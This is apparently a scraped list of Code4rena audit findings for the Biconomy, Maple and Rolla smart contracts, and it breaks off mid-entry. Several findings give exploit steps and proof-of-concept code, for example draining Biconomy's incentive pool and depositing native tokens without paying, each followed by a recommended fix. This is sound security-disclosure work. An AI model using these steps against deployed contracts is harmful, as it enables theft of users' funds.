"https://github.com/code-423n4/2022-03-biconomy-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "wrong condition checking in price calculation", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/105", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityProviders.sol#L180-L186 # Vulnerability details ## Impact The `getTokenPriceInLPShares` function calculates the token price in LP shares, but it checks a wrong condition - if supposed to return `BASE_DIVISOR` if the total reserve is zero, not if the total shares minted is zero. This might leads to a case where the price is calculated incorrectly, or a division by zero is happening. ## Proof of Concept This is the wrong function implementation: ```sol function getTokenPriceInLPShares(address _baseToken) public view returns (uint256) { uint256 supply = totalSharesMinted[_baseToken]; if (supply > 0) { return totalSharesMinted[_baseToken] / totalReserve[_baseToken]; } return BASE_DIVISOR; } ``` This function is used in this contract only in the removeLiquidity and claimFee function, so it's called only if funds were already deposited and totalReserve is not zero, but it can be problematic when other contracts will use this function (it's a public view function so it might get called from outside of the contract). ## Recommended Mitigation Steps The correct code should be: ```sol function getTokenPriceInLPShares(address _baseToken) public view returns (uint256) { uint256 reserve = totalReserve[_baseToken]; if (reserve > 0) { return totalSharesMinted[_baseToken] / totalReserve[_baseToken]; } return BASE_DIVISOR; } ``` "}, {"title": "call to non-existing contracts returns success", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/104", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-biconomy-findings", "body": "call to non-existing contracts returns success"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/101", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Liquidity providers unable to remove liquidity when the pool is in deficit state", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-03-biconomy-findings", "body": "Liquidity providers unable to remove liquidity when the pool is in deficit state"}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary token", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/91", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-biconomy-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary token"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Incentive Pool can be drained without rebalancing the pool", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityPool.sol#L149-L173 https://github.com/code-423n4/2022-03-biconomy/blob/04751283f85c9fc94fb644ff2b489ec339cd9ffc/contracts/hyphen/LiquidityPool.sol#L263-L277 # Vulnerability details ## Impact `depositErc20` allows an attacker to specify the destination chain to be the same as the source chain and the receiver account to be the same as the caller account. This enables an attacker to drain the incentive pool without rebalancing the pool back to the equilibrium state. ## Proof of Concept This requires the attacker to have some collateral, to begin with. The profit also depends on how much the attacker has. Assume the attacker has enough assets. In each chain, when the pool is very deficit (e.g. `currentLiquidity` is much less than `providedLiquidity`), which often mean there's a good amount in the Incentive pool after some high valued transfers, then do the following. - step 1 : borrow the liquidityDifference amount such that one can get the whole incentivePool. ``` uint256 liquidityDifference = providedLiquidity - currentLiquidity; if (amount >= liquidityDifference) { rewardAmount = incentivePool[tokenAddress]; ``` - step 2 : call `depositErc20()` with `toChainId` being the same chain and `receiver` being `msg.sender`. The executor will call `sendFundsToUser` to msg.sender. Then a rewardAmount, equivalent to the entire incentive pool (up to 10% of the total pool value), will be added to `msg.sender` minus equilibrium fee (~0.01%) and gas fee. In the end, the pool is back to the deficit state as before, the incentive pool is drained and the exploiter pockets the difference of rewardAmount minus fees. This attack can be repeated on each deployed chain multiple times whenever the incentive pool is profitable (particularly right after a big transfer). ## Tools Used ## Recommended Mitigation Steps - Disallow `toChainId` to be the source chain by validating it in `depositErc20` or in `sendFundsToUser` validate that `fromChainId` is not the same as current chain. - require `receiver` is not `msg.sender` in `depositErc20`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Owners have absolute control over protocol", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/80", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "Owners have absolute control over protocol"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "WhitelistPeriodManager: Improper state handling of exclusion additions", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/75", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-biconomy-findings", "body": "WhitelistPeriodManager: Improper state handling of exclusion additions"}, {"title": "WhitelistPeriodManager: Improper state handling of exclusion removals", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/72", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/main/contracts/hyphen/WhitelistPeriodManager.sol#L178-L184 https://github.com/code-423n4/2022-03-biconomy/blob/main/contracts/hyphen/WhitelistPeriodManager.sol#L115-L125 # Vulnerability details ## Impact The `totalLiquidity` and `totalLiquidityByLp` mappings are not updated when an address is removed from the `isExcludedAddress` mapping. While this affects the enforcement of the cap limits and the `getMaxCommunityLpPositon()` function, the worst impact this has is that the address cannot have liquidity removed / transferred due to subtraction overflow. In particular, users can be prevented from withdrawing their staked LP tokens from the liquidity farming contract should it become non-excluded. ## Proof of Concept - Assume liquidity farming address `0xA` is excluded - Bob stakes his LP token - Liquidity farming contract is no longer to be excluded: `setIsExcludedAddressStatus([0xA, false])` - Bob attempts to withdraw liquidity \u2192 reverts because `totalLiquidityByLp[USDC][0xA] = 0`, resulting in subtraction overflow. ```jsx // insert test case in Withdraw test block of LiquidityFarming.tests.ts it.only('will brick withdrawals by no longer excluding farming contract', async () => { await farmingContract.deposit(1, bob.address); await wlpm.setIsExcludedAddressStatus([farmingContract.address], [false]); await farmingContract.connect(bob).withdraw(1, bob.address); }); // results in // Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block) ``` ## Recommended Mitigation Steps The simplest way is to prevent exclusion removals. ```jsx function setIsExcludedAddresses(address[] memory _addresses) external onlyOwner { for (uint256 i = 0; i < _addresses.length; ++i) { isExcludedAddress[_addresses[i]] = true; // emit event emit AddressExcluded(_addresses[i]); } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Can deposit native token for free and steal funds", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/55", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityPool.sol#L151 # Vulnerability details ## Impact The `depositErc20` function allows setting `tokenAddress = NATIVE` and does not throw an error. No matter the `amount` chosen, the `SafeERC20Upgradeable.safeTransferFrom(IERC20Upgradeable(tokenAddress), sender, address(this), amount);` call will not revert because it performs a low-level call to `NATIVE = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE`, which is an EOA, and the low-level calls to EOAs always succeed. Because the `safe*` version is used, the EOA not returning any data does not revert either. This allows an attacker to deposit infinite native tokens by not paying anything. The contract will emit the same `Deposit` event as a real `depositNative` call and the attacker receives the native funds on the other chain. ## Recommended Mitigation Steps Check `tokenAddress != NATIVE` in `depositErc20`. "}, {"title": "Unsupported tokens cannot be withdrawn", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "Unsupported tokens cannot be withdrawn"}, {"title": "`sharesToTokenAmount`: Division by zero", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/53", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-biconomy-findings", "body": "`sharesToTokenAmount`: Division by zero"}, {"title": "`LiquidityProviders`: Setting new liquidity pool will break contract", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "`LiquidityProviders`: Setting new liquidity pool will break contract"}, {"title": "`LiquidityProviders`: Setting new LP token will break contract", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-biconomy-findings", "body": "`LiquidityProviders`: Setting new LP token will break contract"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Wrong formula when add fee `incentivePool` can lead to loss of funds.", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/38", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/db8a1fdddd02e8cc209a4c73ffbb3de210e4a81a/contracts/hyphen/LiquidityPool.sol#L319-L322 # Vulnerability details ## Impact The `getAmountToTransfer` function of `LiquidityPool` updates `incentivePool[tokenAddress]` by adding some fee to it but the formula is wrong and the value of `incentivePool[tokenAddress]` will be divided by `BASE_DIVISOR` (10000000000) each time. After just a few time, the value of `incentivePool[tokenAddress]` will become zero and that amount of `tokenAddress` token will be locked in contract. ## Proof of concept Line 319-322 ``` incentivePool[tokenAddress] = (incentivePool[tokenAddress] + (amount * (transferFeePerc - tokenManager.getTokensInfo(tokenAddress).equilibriumFee))) / BASE_DIVISOR; ``` Let `x = incentivePool[tokenAddress]`, `y = amount`, `z = transferFeePerc` and `t = tokenManager.getTokensInfo(tokenAddress).equilibriumFee`. Then that be written as ``` x = (x + (y * (z - t))) / BASE_DIVISOR; x = x / BASE_DIVISOR + (y * (z - t)) / BASE_DIVISOR; ``` ## Recommended Mitigation Steps Fix the bug by change line 319-322 to: ``` incentivePool[tokenAddress] += (amount * (transferFeePerc - tokenManager.getTokensInfo(tokenAddress).equilibriumFee)) / BASE_DIVISOR; ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "unnecessary receive function", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/25", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-biconomy-findings", "body": "unnecessary receive function"}, {"title": "DoS by gas limit", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-biconomy/blob/main/contracts/hyphen/LiquidityFarming.sol#L220 https://github.com/code-423n4/2022-03-biconomy/blob/main/contracts/hyphen/LiquidityFarming.sol#L233 # Vulnerability details In `deposit` function it is possible to push to `nftIdsStaked` of anyone, an attacker can deposit too many nfts to another user, and when the user will try to withdraw an nft at the end of the list, they will iterate on the list and revert because of gas limit. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "Improper Upper Bound Definition on the Fee", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "Improper Upper Bound Definition on the Fee"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-biconomy-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-biconomy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Processes refinance operations may call malicious code by re-created refinancer contract", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Processes refinance operations may call malicious code by re-created refinancer contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Incorrect implementation of Lender can result in lost tokens", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "# Lines of code https://github.com/maple-labs/loan/blob/main/contracts/MapleLoanInternals.sol#L332-L344 # Vulnerability details ## Impact MapleLoanInternals._sendFee should check returnData.length == 32 before decoding, otherwise if it returns bytes data, the abi.decode will return 0x20, result in lost tokens. ## Proof of Concept https://github.com/maple-labs/loan/blob/main/contracts/MapleLoanInternals.sol#L332-L344 This contract can test that when the function returns bytes data, abi.encode will decode the return value as 0x20. ``` pragma solidity 0.8.7; contract A{ address public destination; uint256 public number; function convertA() external{ (bool su,bytes memory ret )= address(this).call(abi.encodeWithSelector(this.ret.selector)); number = ret.length; destination = abi.decode(ret, (address)); } function ret() public returns(bytes memory){ return \"0x74d754378a59Ab45d3E6CaC83f0b87E8E8719270\"; } } ``` ## Tools Used None ## Recommended Mitigation Steps ``` function _sendFee(address lookup_, bytes4 selector_, uint256 amount_) internal returns (bool success_) { if (amount_ == uint256(0)) return true; ( bool success , bytes memory data ) = lookup_.call(abi.encodeWithSelector(selector_)); + if (!success || data.length != uint256(32)) return false; address destination = abi.decode(data, (address)); if (destination == address(0)) return false; return ERC20Helper.transfer(_fundsAsset, destination, amount_); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-maple-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-maple-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-maple-findings", "body": "QA Report"}, {"title": "Spreads can be minted with a deactivated oracle", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/libraries/FundsCalculator.sol#L91-L117 # Vulnerability details ## Impact When deactivateOracle() is called for an oracle in OracleRegistry it is still available for option spreads minting. This way a user can continue to mint new options within spreads that rely on an oracle that was deactivated. As economic output of spreads is close to vanilla options, so all users who already posses an option linked to a deactivated oracle can surpass this deactivation, being able to mint new options linked to it as a part of option spreads. ## Proof of Concept Oracle active state is checked with isOracleActive() during option creation in validateOptionParameters() and during option minting in _mintOptionsPosition(). It isn't checked during spreads creation: https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/libraries/FundsCalculator.sol#L91-L117 In other words besides vanilla option minting and creation all spectrum of operations is available for the deactivated oracle assets, including spreads minting, which economically is reasonably close to vanilla minting. ## Recommended Mitigation Steps If oracle deactivation is meant to transfer all related assets to the close only state then consider requiring oracle to be active on spreads minting as well in the same way it's done for vanilla option minting: https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/Controller.sol#L188-L197 "}, {"title": "Arbitrary code can be run with Controller as msg.sender", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/65", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/Controller.sol#L497-L516 # Vulnerability details ## Impact A malicious user can call Controller's operate with ActionType.QTokenPermit, providing a precooked contract address as qToken, that will be called by Controller contract with IQToken(_qToken).permit(), which implementation can be arbitrary as long as IQToken interface and permit signature is implemented. The Controller is asset bearing contract and it will be msg.sender in this arbitrary permit() function called, which is a setup that better be avoided. ## Proof of Concept When the Controller's operate with a QTokenPermit action, it parses the arguments with Actions library and then calls internal _qTokenPermit: https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/Controller.sol#L91-L92 _qTokenPermit calls the IQToken(_qToken) address provided without performing any additional checks: https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/Controller.sol#L497-L516 This way, contrary to the approach used in other actions, qToken isn't checked to be properly created address and is used right away, while the requirement that the address provided should implement IQToken interface and have permit function with a given signature can be easily met with a precooked contract. ## Recommended Mitigation Steps Given that QToken can be called directly please examine the need for QTokenPermit ActionType. If current approach is based on UI convenience and better be kept, consider probing for IOptionsFactory(optionsFactory).isQToken(_qToken) before calling the address provided. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": 